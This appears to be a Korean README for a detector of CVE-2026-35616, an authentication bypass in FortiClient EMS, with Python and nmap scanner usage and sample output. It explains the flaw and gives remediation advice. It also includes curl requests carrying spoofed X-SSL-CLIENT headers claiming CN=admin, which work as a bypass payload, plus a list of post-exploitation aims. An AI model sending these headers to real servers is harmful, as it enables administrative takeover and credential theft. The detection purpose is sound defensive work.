+----------------+          +----------------+          +----------------+
|   브라우저 /   |  HTTPS   |    Apache      |   WSGI   |    Django      |
|   API 클라이언트 | -------> |   (mod_ssl)    | -------> |    백엔드      |
+----------------+          +----------------+          +----------------+

안전한 경로 (의도된 방식):
  Apache mod_ssl이 인증서 검증 --> WSGI 환경 변수 설정 --> Django가 환경 변수 읽음  [OK]

안전하지 않은 경로 (취약점):
  공격자가 HTTP 헤더를 직접 설정 --> Django가 헤더 읽음 --> 신뢰함  [FAIL]

1단계: 공격자가 EMS API 엔드포인트에 POST 요청 전송
        다음 헤더 포함:
        
        X-SSL-CLIENT-VERIFY: SUCCESS
        X-SSL-CLIENT-S-DN: CN=admin
        X-SSL-CLIENT-SERIAL: 0000000000000001

2단계: Django 미들웨어가 WSGI 환경 변수 확인 → 없음
        HTTP 헤더로 대체 → X-SSL-CLIENT-VERIFY: SUCCESS 발견

3단계: 미들웨어가 요청을 관리자 신원으로 인증된 것으로 처리

4단계: 공격자가 전체 관리 API에 접근

5단계: 관리 API에서 공격자는 다음을 수행할 수 있음:
        - 모든 관리 대상 엔드포인트에 악성 정책 푸시
        - 저장된 자격 증명 및 인증서 추출
        - 소프트웨어 배포를 통한 페이로드 배포
        - ZTNA 구성 수정
        - 더 넓은 네트워크로 피벗

# 의존성 설치 (이 스크립트에는 표준 라이브러리만 필요)
pip install -r requirements.txt

# 단일 대상
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100

# 사용자 지정 포트
python CVE-2026-35616_FortiClientEMS_detector.py -t ems.corp.local -p 8443

# 파일에서 대량 스캔
python CVE-2026-35616_FortiClientEMS_detector.py -f targets.txt

# JSON 출력을 파일로 저장
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --json -o results.json

# SSL 인증서 검증 활성화
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --verify-ssl

# 느린 네트워크를 위한 타임아웃 증가
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --timeout 20

╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-35616 - FortiClient EMS 인증 우회 탐지기         ║
║  사전 인증 API 접근 우회 → 권한 상승                        ║
║  CVSS: 9.1 (치명적) | CISA KEV: 활발한 악용                ║
╚══════════════════════════════════════════════════════════════╝

[*] 192.168.1.100:443 스캔 중...

대상: 192.168.1.100:443
============================================================
  [*] FortiClient EMS 감지됨 (버전: 알 수 없음)

  취약점 테스트 결과:
    [취약] /api/v1/auth/signin  기준: 401 → 스푸핑: 500
    [취약] /api/v1/system/status  기준: 401 → 스푸핑: 500
    [취약 아님] /api/v1/endpoints  기준: 401 → 스푸핑: 401

  [!] 대상은 CVE-2026-35616에 취약할 가능성이 높음
      사전 인증 API 우회가 확인됨. 즉시 핫픽스 적용!
      조치: FortiClient EMS 7.4.7로 업그레이드 또는 핫픽스 적용

# NSE 스크립트 설치
sudo cp CVE-2026-35616_FortiClientEMS.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb

# 기본 스캔
nmap -p 443 --script CVE-2026-35616_FortiClientEMS <target>

# 서브넷 스캔
nmap -p 443 --script CVE-2026-35616_FortiClientEMS 10.0.0.0/24

# 파일에서 여러 대상 스캔
nmap -p 443 --script CVE-2026-35616_FortiClientEMS -iL targets.txt

# 서비스 버전 탐지 포함
nmap -sV -p 443 --script CVE-2026-35616_FortiClientEMS <target>

PORT    STATE SERVICE
443/tcp open  https
| CVE-2026-35616_FortiClientEMS:
|   취약:
|   FortiClient EMS 사전 인증 API 우회
|     상태: 취약
|     ID:  CVE:CVE-2026-35616
|     위험 요소: 치명적 (CVSS: 9.1)
|     공개 날짜: 2026-04-04
|     추가 정보:
|       영향받는 엔드포인트: 2
|       조치: FortiClient EMS 7.4.5/7.4.6용 핫픽스 적용 또는 7.4.7로 업그레이드
|       CISA KEV 마감: 2026년 4월 9일
|     참고 자료:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35616
|_      https://www.cisa.gov/known-exploited-vulnerabilities-catalog

# 1단계: 기준 요청 - 401이 반환되어야 함
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
  -H "Content-Type: application/json" \
  -d '{}' \
  -o /dev/null -w "%{http_code}\n"

# 2단계: 스푸핑 요청 - 401 이외의 코드가 반환되면 취약할 가능성이 높음
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
  -H "Content-Type: application/json" \
  -H "X-SSL-CLIENT-VERIFY: SUCCESS" \
  -H "X-SSL-CLIENT-S-DN: CN=admin" \
  -H "X-SSL-CLIENT-SERIAL: 0000000000000001" \
  -d '{}' \
  -o /dev/null -w "%{http_code}\n"